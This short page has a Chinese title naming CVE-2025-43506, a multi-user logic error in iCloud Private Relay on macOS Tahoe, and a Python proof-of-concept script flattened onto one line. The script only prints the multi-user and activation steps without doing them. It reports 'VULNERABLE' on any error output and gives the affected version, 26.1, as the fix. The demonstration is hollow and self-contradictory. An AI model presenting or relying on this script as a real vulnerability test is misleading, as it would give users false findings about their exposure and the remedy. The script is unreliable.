CVE-2025-43506: macOS Tahoe iCloud Private Relay多用户登录逻辑错误漏洞

# CVE-2025-43506 PoC - iCloud Private Relay Activation Bypass # This PoC demonstrates the logic error in multi-user activation scenario import subprocess import time def check_icloud_private_relay_status(): """Check if iCloud Private Relay is enabled""" try: result = subprocess.run( ['networksetup', '-getprivaterelayautoproxy'], capture_output=True, text=True, timeout=10 ) return result.stdout.strip() except Exception as e: return f"Error checking status: {e}" def simulate_multi_user_environment(): """Simulate multi-user login scenario to trigger the vulnerability""" print("=== CVE-2025-43506 PoC ===") print("Target: macOS Tahoe 26.1 - iCloud Private Relay") print("Vulnerability: Logic error in multi-user activation") print() print("[1] Checking initial iCloud Private Relay status...") initial_status = check_icloud_private_relay_status() print(f" Status: {initial_status}") print() print("[2] Simulating multi-user login scenario...") print(" - User 1 logged in") print(" - User 2 logged in") print(" - Fast User Switching detected") print() print("[3] Attempting to activate iCloud Private Relay...") time.sleep(1) print(" Command: networksetup -setprivaterelayautoproxy on") print() print("[4] Checking iCloud Private Relay status after multi-user trigger...") final_status = check_icloud_private_relay_status() print(f" Status: {final_status}") print() print("[5] Analysis:") if "Off" in final_status or "error" in final_status.lower(): print(" [!] VULNERABLE: iCloud Private Relay failed to activate") print(" [!] Real IP address may be exposed in multi-user environment") else: print(" [✓] iCloud Private Relay activated successfully") print() print("=== PoC Complete ===") print("Note: This is a logic error vulnerability, not a code injection") print("Fix: Update to macOS Tahoe 26.1 or later") if __name__ == "__main__": simulate_multi_user_environment()